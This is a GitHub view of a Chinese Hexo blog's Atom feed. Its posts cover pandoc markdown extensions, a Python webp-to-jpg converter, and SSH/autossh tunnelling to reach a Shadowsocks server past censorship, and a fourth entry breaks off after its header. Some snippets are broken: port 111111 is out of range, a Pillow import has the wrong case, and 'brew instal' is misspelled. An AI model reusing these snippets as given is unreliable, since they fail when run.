-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
566 lines (323 loc) · 331 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>治部少辅</title>
<subtitle>大一大万大吉</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://www.codewoody.com/"/>
<updated>2020-03-25T10:25:28.666Z</updated>
<id>http://www.codewoody.com/</id>
<author>
<name>治部少辅</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>pandoc中提供的markdown特殊扩展功能</title>
<link href="http://www.codewoody.com/posts/40936/"/>
<id>http://www.codewoody.com/posts/40936/</id>
<published>2020-03-24T06:42:14.000Z</published>
<updated>2020-03-25T10:25:28.666Z</updated>
<content type="html"><![CDATA[<h1 data-number="1" id="段落"><span class="header-section-number">1</span> 段落</h1><p>在markdown中一个分行符不会将文字拆分成两段,为了段落的拆分,你需要在段落之间插入一个空行,也即两个换行符。pandoc提供了两种额外的分行方法,分别是:</p><ol type="1"><li>在行尾添加两个空格或者更多的空格</li><li>在后一段的段首加一个反斜杠</li></ol><p>不过注意上面两种手段的分段方式不是创建两个<code>p</code>标签,而是插入一个<code><br /></code>。</p><h1 data-number="2" id="heading"><span class="header-section-number">2</span> Heading</h1><h2 data-number="2.1" id="setext风格的heading"><span class="header-section-number">2.1</span> Setext风格的Heading</h2><p>在一行文字的下一行添加一行<code>=</code>(代表一级标题,即<code><h1></code>)或者<code>-</code>(代表二级标题,即<code><h2></code>)</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">A level-one heading</span><br><span class="line">===================</span><br><span class="line"></span><br><span class="line">A level-two heading</span><br><span class="line">-------------------</span><br></pre></td></tr></table></figure><h2 data-number="2.2" id="atx风格的heading"><span class="header-section-number">2.2</span> ATX风格的Heading</h2><p>这就是常见的Heading方式,使用<code>#</code>符号。</p><blockquote><p>pandoc要求以<code>#</code>开头的heading前方必须有一个空行。</p></blockquote><h2 data-number="2.3" id="heading的id"><span class="header-section-number">2.3</span> Heading的ID</h2><p>Heading可以使用如下的格式指定属性(html),在尾部添加</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{#identifier .class .class key=value key=value}</span><br></pre></td></tr></table></figure><blockquote><p>注意,Hexo在使用默认的渲染引擎渲染之后,会把输出文档交给Nunjucks再渲染一遍,而在Nunjuck中`<code id="identifier">表示注释,因此</code>`的形式会导致解析错误。目前要解决这个问题需要修改Hexo的源代码,而无法通过配置解决。</p></blockquote><p>例如下面的写法可以为Heading指定id为<code>foo</code>:</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="section"># My heading {#foo}</span></span><br><span class="line"></span><br><span class="line"><span class="section">## My heading ## {#foo}</span></span><br><span class="line"></span><br><span class="line">My other header {#foo}</span><br><span class="line">---------------</span><br></pre></td></tr></table></figure><h2 data-number="2.4" id="heading的编号"><span class="header-section-number">2.4</span> Heading的编号</h2><blockquote><p>注意在hexo-render-pandoc中默认是没有打开Heading编号的功能的,使用这一功能需要在博客的<code>_config.yml</code>(注意不是主题的)加入 <figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">pandoc:</span></span><br><span class="line"><span class="attr"> extra:</span></span><br><span class="line"><span class="attr"> number-sections:</span> <span class="literal">null</span></span><br></pre></td></tr></table></figure></p></blockquote><p>在Heading后面添加<code>.unnumbered</code>可以阻止对给定的Heading进行编号</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="section"># My heading {.unnumbered}</span></span><br><span class="line"></span><br><span class="line"><span class="xml"><span class="comment"><!--可以简写为--></span></span></span><br><span class="line"><span class="section"># My header {-}</span></span><br></pre></td></tr></table></figure><h1 data-number="3" id="代码块"><span class="header-section-number">3</span> 代码块</h1><p>额外的代码块形式</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">~~~</span><br><span class="line">code</span><br><span class="line">~~~</span><br></pre></td></tr></table></figure><blockquote><p>这样写有一个好处,那就是中文输入法时<code>`</code> 符号常常无法输入,而<code>~</code>则没有问题。</p></blockquote><h1 data-number="4" id="行块"><span class="header-section-number">4</span> 行块</h1><p>这是解决多行输入的问题,在行块中,换行行为会原样输出。否则会以Markdown的规则进行格式化。行块的写法为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">| The limerick packs laughs anatomical</span><br><span class="line">| In space that is quite economical.</span><br><span class="line">| But the good ones I've seen</span><br><span class="line">| So seldom are clean</span><br><span class="line">| And the clean ones so seldom are comical</span><br><span class="line"></span><br><span class="line">| 200 Main St.</span><br><span class="line">| Berkeley, CA 94718</span><br></pre></td></tr></table></figure><p>下面的写法也是可以的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">| The Right Honorable Most Venerable and Righteous Samuel L.</span><br><span class="line"> Constable, Jr.</span><br><span class="line">| 200 Main St.</span><br><span class="line">| Berkeley, CA 94718</span><br></pre></td></tr></table></figure><h1 data-number="5" id="编号的例子列表"><span class="header-section-number">5</span> 编号的例子列表</h1><p><code>@</code>这个特殊的列表符号用来做全局编号。例如</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">(@) My first example will be numbered (1).</span><br><span class="line">(@) My second example will be numbered (2).</span><br><span class="line"></span><br><span class="line">Explanation of examples.</span><br><span class="line"></span><br><span class="line">(@) My third example will be numbered (3).</span><br></pre></td></tr></table></figure><p>这些列表可以打上标签(label)以供后续引用。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(@good) This is a good example.</span><br><span class="line"></span><br><span class="line">As (@good) illustrates, ...</span><br></pre></td></tr></table></figure><h1 data-number="6" id="上标和下标"><span class="header-section-number">6</span> 上标和下标</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">H~2~O is a liquid. 2^10^ is 1024.</span><br></pre></td></tr></table></figure><p>渲染出来是:</p><p>H<sub>2</sub>O is a liquid. 2<sup>10</sup> is 1024.</p><p>注意<code>~...~</code>和<code>^...^</code>中间不能有空格和换行,如果不得不包含空格需要用反斜杠进行转义。</p><blockquote><p>我一直蠢蠢地用html标签在做这个事情</p></blockquote><p>What is the difference between <code>>>=</code> and >>?</p><h1 data-number="7" id="小段的span"><span class="header-section-number">7</span> 小段的span</h1><blockquote><p>这个比较重要,方便内联的样式控制</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[Small caps]{.smallcaps}</span><br></pre></td></tr></table></figure><p>等价于</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">span</span> <span class="attr">class</span>=<span class="string">"smallcaps"</span>></span>Small caps<span class="tag"></<span class="name">span</span>></span></span><br></pre></td></tr></table></figure><h1 data-number="8" id="链接"><span class="header-section-number">8</span> 链接</h1><h2 data-number="8.1" id="简单链接"><span class="header-section-number">8.1</span> 简单链接</h2><p>使用尖括号可以直接把一个URL设定成链接:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><https://google.com></span><br></pre></td></tr></table></figure><h2 data-number="8.2" id="reference-link"><span class="header-section-number">8.2</span> Reference Link</h2><p>可以集中将URL定义在一起然后在正文中引用。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[my label 1]: /foo/bar.html "My title, optional"</span><br><span class="line">[my label 2]: /foo</span><br><span class="line">[my label 3]: https://fsf.org (The free software foundation)</span><br><span class="line">[my label 4]: /bar#special 'A title in single quotes'</span><br></pre></td></tr></table></figure><p>URL也可以用尖括号包裹:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[my label 5]: <http://foo.bar.baz></span><br></pre></td></tr></table></figure><p>此时标题部分移动到下一行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[my label 3]: https://fsf.org</span><br><span class="line"> "The free software foundation"</span><br></pre></td></tr></table></figure><p>注意链接的label不区分大小写。</p><p>这样写也可以:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">See [my website][]. or see [my website]</span><br><span class="line"></span><br><span class="line">[my website]: http://foo.bar.baz</span><br></pre></td></tr></table></figure><h1 data-number="9" id="div"><span class="header-section-number">9</span> Div</h1><p>pandoc提供了便捷地创建<code><div></code>的方法。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">::::: {#special .sidebar}</span><br><span class="line">Here is a paragraph.</span><br><span class="line"></span><br><span class="line">And another.</span><br><span class="line">:::::</span><br></pre></td></tr></table></figure><p>冒号的数量至少是3个。也可以缩写成</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">::::: class-of-div :::</span><br><span class="line">Here is a paragraph.</span><br><span class="line"></span><br><span class="line">And another.</span><br><span class="line">:::::</span><br></pre></td></tr></table></figure><p>这个结构可以嵌套,但是要求开头的冒号一定要对应有属性设置(不然无法判断是div的开始还是结束)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">::: Warning ::::::</span><br><span class="line">This is a warning.</span><br><span class="line"></span><br><span class="line">::: Danger</span><br><span class="line">This is a warning within a warning.</span><br><span class="line">:::</span><br><span class="line">::::::::::::::::::</span><br></pre></td></tr></table></figure><p>一个<code>div</code>的开头和结尾的冒号数量不要求保持一致,不过为了可读性,这个需要合适的设计。</p><h1 data-number="10" id="脚注"><span class="header-section-number">10</span> 脚注</h1><p>示例如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">Here is a footnote reference,[^1] and another.[^longnote]</span><br><span class="line"></span><br><span class="line">[^1]: Here is the footnote.</span><br><span class="line"></span><br><span class="line">[^longnote]: Here's one with multiple blocks.</span><br><span class="line"></span><br><span class="line"> Subsequent paragraphs are indented to show that they</span><br><span class="line">belong to the previous footnote.</span><br><span class="line"></span><br><span class="line"> { some.code }</span><br><span class="line"></span><br><span class="line"> The whole paragraph can be indented, or just the first</span><br><span class="line"> line. In this way, multi-paragraph footnotes work like</span><br><span class="line"> multi-paragraph list items.</span><br><span class="line"></span><br><span class="line">This paragraph won't be part of the note, because it</span><br><span class="line">isn't indented.</span><br></pre></td></tr></table></figure><p>也可以写内联脚注:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Here is an inline note.^[Inlines notes are easier to write, since</span><br><span class="line">you don't have to pick an identifier and move down to type the</span><br><span class="line">note.]</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>之前为了公式渲染问题,我将Hexo的渲染引擎切换到了pandoc。不过pandoc除了带来公式渲染功能之外,还为markdown语法提供了扩展。这篇文章旨在梳理pandoc提供的各种新增markdown功能。pandoc提供的完整文档位于<a href="https://pandoc.org/MANUAL.html#pandocs-markdown#pandocs-markdown" target="_blank" rel="noopener">这里</a></p>
</summary>
<category term="教程" scheme="http://www.codewoody.com/categories/%E6%95%99%E7%A8%8B/"/>
<category term="教程" scheme="http://www.codewoody.com/tags/%E6%95%99%E7%A8%8B/"/>
<category term="Hexo" scheme="http://www.codewoody.com/tags/Hexo/"/>
</entry>
<entry>
<title>Python实现将webp格式的图片转化成jpg/png</title>
<link href="http://www.codewoody.com/posts/24040/"/>
<id>http://www.codewoody.com/posts/24040/</id>
<published>2020-03-16T08:51:13.000Z</published>
<updated>2020-03-22T17:25:00.488Z</updated>
<content type="html"><![CDATA[<p>转换需要使用<code>Pillow</code>这个库:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install Pillow</span><br></pre></td></tr></table></figure><p>代码如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> image</span><br><span class="line">im = Image.open(input_image).convert(<span class="string">"RGB"</span>)</span><br><span class="line">im.save(<span class="string">"test.jpg"</span>, <span class="string">"jpeg"</span>)</span><br></pre></td></tr></table></figure><blockquote><p>以上代码参考了文章:<a href="https://medium.com/@ajeetham/image-type-conversion-jpg-png-jpg-webp-png-webp-with-python-7d5df09394c9" target="_blank" rel="noopener">Image Conversion (JPG ⇄ PNG/JPG ⇄ WEBP) with Python</a></p></blockquote><p>下面这个代码提供了更加完整的功能,包括支持输入图片的url以完成自动下载和格式转换:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> urllib.request</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">download_image</span><span class="params">(url)</span>:</span></span><br><span class="line"> path, _ = urllib.request.urlretrieve(url)</span><br><span class="line"> print(path)</span><br><span class="line"> <span class="keyword">return</span> path</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> parser = argparse.ArgumentParser()</span><br><span class="line"> parser.add_argument(<span class="string">'input_file'</span>, help=<span class="string">"输入文件"</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'output_file'</span>, help=<span class="string">"输出文件"</span>, nargs=<span class="string">"?"</span>)</span><br><span class="line"> opt = parser.parse_args()</span><br><span class="line"> input_file = opt.input_file</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> input_file.startswith(<span class="string">"http"</span>):</span><br><span class="line"> <span class="keyword">if</span> opt.output_file <span class="keyword">is</span> <span class="keyword">None</span>:</span><br><span class="line"> print(<span class="string">"输入是URL时必须制定输出文件"</span>)</span><br><span class="line"> input_file = download_image(input_file)</span><br><span class="line"> <span class="keyword">elif</span> <span class="keyword">not</span> input_file.endswith(<span class="string">".webp"</span>):</span><br><span class="line"> print(<span class="string">"输入文件不是webp格式的"</span>)</span><br><span class="line"> exit()</span><br><span class="line"> filename = <span class="string">"."</span>.join(input_file.split(<span class="string">"."</span>)[<span class="number">0</span>:<span class="number">-1</span>])</span><br><span class="line"> output_file = opt.output_file <span class="keyword">or</span> (<span class="string">"%s.jpg"</span> % filename)</span><br><span class="line"> im = Image.open(input_file).convert(<span class="string">"RGB"</span>)</span><br><span class="line"> im.save(output_file, <span class="string">"jpeg"</span>)</span><br><span class="line"> urllib.request.urlcleanup()</span><br></pre></td></tr></table></figure><p>将文件保存为<code>webp2jpg</code>并将其路径加入<code>PATH</code>环境变量,那么就可以以如下方式使用这个脚本:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">webp2jpg input.webp output.jpg</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> 下面这个命令的输出文件是input.jpg</span></span><br><span class="line">webp2jpg input.webp</span><br><span class="line"></span><br><span class="line">webp2jpg http://host.com/file.webp local_save.jpg</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>转换需要使用<code>Pillow</code>这个库:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre
</summary>
<category term="教程" scheme="http://www.codewoody.com/categories/%E6%95%99%E7%A8%8B/"/>
<category term="教程" scheme="http://www.codewoody.com/tags/%E6%95%99%E7%A8%8B/"/>
<category term="python" scheme="http://www.codewoody.com/tags/python/"/>
</entry>
<entry>
<title>SSH隧道:访问翻墙服务器的临时性手段</title>
<link href="http://www.codewoody.com/posts/11710/"/>
<id>http://www.codewoody.com/posts/11710/</id>
<published>2020-03-01T02:01:35.000Z</published>
<updated>2020-03-22T17:25:00.488Z</updated>
<content type="html"><![CDATA[<p>现在GFW不断加高,翻墙的服务搞不好什么时候就挂了,之前我在文章里介绍过比较稳定的方法是使用一台能够从ipv4到ipv6的跳板机。但跳板机挂了就糟糕了。这篇文章就是我昨天遇到这个问题时弄的一个临时性办法,可以在Shadowsocks流量被拦截,跳板机挂掉的情况下,使用SSH隧道连接翻墙服务器以使用Shadowsocks的服务。</p><p>最近因为新冠肺炎疫情的关系,GFW对于翻墙流量的审查更加严格了,基于Ipv4的直连方式访问Shadowsocks基本不可能了。但是GFW的拦截基本针对流量特征的,有些服务器的IP实际上并未处于黑名单中。因此我们使用别的方式还是能够连接到翻墙服务器的。例如SSH访问服务器就能成功。这时我们可以使用SSH开通一个从我们本地电脑的localhost到翻墙服务器的localhost的隧道,将我们本地的地址的端口映射到翻墙服务器的本地地址端口。这样我们通过本地地址端口访问远端的Shadowsocks的服务时,我们的客户端和服务器的通信流量就不再是Shadowsocks流量,而是SSH特征的流量,这样通信就可以绕过GFW的检查了。</p><h1 data-number="1" id="ssh隧道"><span class="header-section-number">1</span> ssh隧道</h1><p>完整的SSH隧道的教程网络上能搜到很多,比如<a href="https://www.ssh.com/ssh/tunneling/example" target="_blank" rel="noopener">这篇</a>。我们只需要使用Local Forwarding模式。这个模式下,客户端的本地端口被映射到服务端的端口。命令的基本形式如下:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -L local_addr:local_port:remote_addr:remote_port username@jump-server-addr</span><br></pre></td></tr></table></figure><p>如果我们的翻墙服务器的地址是<code>jump.server.com</code>,用户名是<code>ss</code>,Shadowsocks服务的端口是<code>11111</code>则使用下面的命令:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -L 8000:localhost:111111 ss@jump.server.com</span><br></pre></td></tr></table></figure><p>我们就可以将我们本地的<code>8000</code>端口映射到Shadowsocks的服务端口上。在Shadowsocks设置中,原本的设置只需要将地址修改为localhost,端口修改8000,就可以访问远端的Shadowsocks服务了。</p><p>不过上面的命令会打开一个SSH会话,如果我们退出这个会话,会导致隧道中断。因此我们改进命令为</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -N -f -L 8000:localhost:111111 ss@jump.server.com</span><br></pre></td></tr></table></figure><p>这个命令会在打开SSH隧道,将ssh进程转到后台运行。</p><h1 data-number="2" id="autossh"><span class="header-section-number">2</span> autossh</h1><p>不过ssh命令本身可能不太稳定,连接中断后ssh会退出。为了提升稳定性,我们需要能够监管ssh进程并在断线时自动重启ssh服务。<code>autossh</code>就是这样一款工具。目前<code>autossh</code>可以在Linux和macOS上运行,适用于Windows的工具我还没来得及找到。以macOS为例,可以使用Homebrew安装:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew instal autossh</span><br></pre></td></tr></table></figure><p>其使用方式非常简单,命令形式是</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">autossh [-V] [-M monitor_port[:echo_port]] [-f] [SSH_OPTIONS]</span><br></pre></td></tr></table></figure><p>其中<code>-V</code>是查看版本,不用管。<code>-M</code>是指定检测端口,实际上就是用来检测连接是否可用的。只是使用你不需要了解太多,随意指定一个本地高位端口(地位端口容易被占用)即可,例如20000(关于<code>-M</code>的地址参加<a href="http://www.debianadmin.com/autossh-automatically-restart-ssh-sessions-and-tunnels.html" target="_blank" rel="noopener">这个链接</a>)。<code>-f</code>会让程序在后台运行。而后跟上ssh的选项即可。注意因为autossh会管理ssh进程,我们不需要在后面在引入<code>-f</code>来告诉ssh进入后台运行。那么</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -N -f -L 8000:localhost:111111 ss@jump.server.com</span><br></pre></td></tr></table></figure><p>这个命令用<code>autossh</code>改写为</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">autossh -M 20000 -f -N -f -L 8000:localhost:111111 ss@jump.server.com</span><br></pre></td></tr></table></figure><p>即可。</p><h1 data-number="3" id="windows的支持"><span class="header-section-number">3</span> Windows的支持</h1><p>Windows上用的比较多的SSH客户端是PuTTY,不过PuTTY不能很好地满足ssh隧道的需求。这里我推荐的是<a href="https://www.bitvise.com/ssh-client-download" target="_blank" rel="noopener">Bitvise</a>这个软件(点击链接可以前往下载页面)。这里给出Bitvise的配置方法。</p><p>首先下载Bitvise软件并完成安装。安装完成后打开,在Login界面,输入服务器的信息,包括Host,Port,以及用户名。这里Initial Method指的是认证手段,图中选择的是密码,通过下拉框也可以选择公钥验证或其他验证方法。</p><p><img src="https://imgs.codewoody.com/uploads/big/9481da177c540367f38733d6c371d2a6.PNG"></p><p>接下来前往Options页面,确保"Automatically reconnect if successful connection breaks"。这个功能比较关键,可以确保ssh连接中断时程序能够自动重新建立连接。另外要注意右侧的选项。由于我们只希望建立操作,而不需要登录到服务器进行其他操作,所以我们可以去掉Open Terminal和Open SFTP的选项。</p><p><img src="https://imgs.codewoody.com/uploads/big/a67c5007eed2f8229369e8450ab3b148.PNG"></p><p>最后前往C2S界面配置端口映射以建立SSH隧道:</p><p><img src="https://imgs.codewoody.com/uploads/big/cb3448748978270c4dcc48ca48694f68.PNG"></p><p>需要解释的是:</p><ul><li>Listen Interface 表示本地监听的接口。如果只是作为ssh客户端的电脑使用,那么填写localhost即可。如果希望把隧道同局域网内的其他设备共享,可以填写局域网地址或者0.0.0.0。</li><li>List. Port 为本地监听监听端口</li><li>Destination Host 这个概念要非常注意。很多新手可能会填写服务器的地址,如其公网IP。其实这是对SSH隧道缺乏了解导致的。这里的目的地址,是从服务器的视角来看的,我们要连接的是服务器本地的端口,所以这里填写localhost。</li><li>Dest. Port 为服务器端shadowsocks服务的端口</li></ul><p>上面的配置完成以后点击Log in即可建立连接。注意右上角有一个"Closing and minimization"的按钮,点开这个按钮可以选择点击右上角关闭按钮之后的程序行为,我们可以选择的"Hide to notification area if connected, exit otherwise",这样可以关闭窗口同时保证程序继续在后台运行。</p><h1 data-number="4" id="稳定性讨论"><span class="header-section-number">4</span> 稳定性讨论</h1><p>用SSH隧道来实现翻墙,连接本身就是不太稳定的,在<a href="https://unix.stackexchange.com/questions/275681/ssh-connection-through-ssh-tunnel-keeps-closing" target="_blank" rel="noopener">这个链接</a>,答主提到使用<code>-M</code>选项来让autossh负责检查连接的可用性会比较不可靠,推荐使用ssh自己来负责监控连接。具体方式是设置<code>-M 0</code>,同时为ssh传递<code>-o "ServerAliveInterval 30" -o "TCPKeepAlive yes"</code>参数。完整的命令为</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">autossh -M 0 -f -N -f -L 8000:localhost:111111 ss@jump.server.com -o "ServerAliveInterval 30" -o "TCPKeepAlive yes"</span><br></pre></td></tr></table></figure><p>当<code>-M 0</code>时,autossh只会在ssh进程退出时重启进程,而不会检测联机本身的是否可用。关于<code>ServerAliveInterval</code>作用的细节,参见<a href="http://einverne.github.io/post/2017/05/ssh-keep-alive.html" target="_blank" rel="noopener">这篇文章</a>。</p>]]></content>
<summary type="html">
<p>现在GFW不断加高,翻墙的服务搞不好什么时候就挂了,之前我在文章里介绍过比较稳定的方法是使用一台能够从ipv4到ipv6的跳板机。但跳板机挂了就糟糕了。这篇文章就是我昨天遇到这个问题时弄的一个临时性办法,可以在Shadowsocks流量被拦截,跳板机挂掉的情况下,使用SSH
</summary>
<category term="教程" scheme="http://www.codewoody.com/categories/%E6%95%99%E7%A8%8B/"/>
<category term="教程" scheme="http://www.codewoody.com/tags/%E6%95%99%E7%A8%8B/"/>
<category term="Shadowsocks" scheme="http://www.codewoody.com/tags/Shadowsocks/"/>
<category term="linux" scheme="http://www.codewoody.com/tags/linux/"/>
</entry>
<entry>
<title>[翻译]从头开始训练一个卷积神经网络</title>
<link href="http://www.codewoody.com/posts/59775/"/>
<id>http://www.codewoody.com/posts/59775/</id>
<published>2020-02-29T13:01:12.000Z</published>
<updated>2020-03-22T17:25:00.487Z</updated>
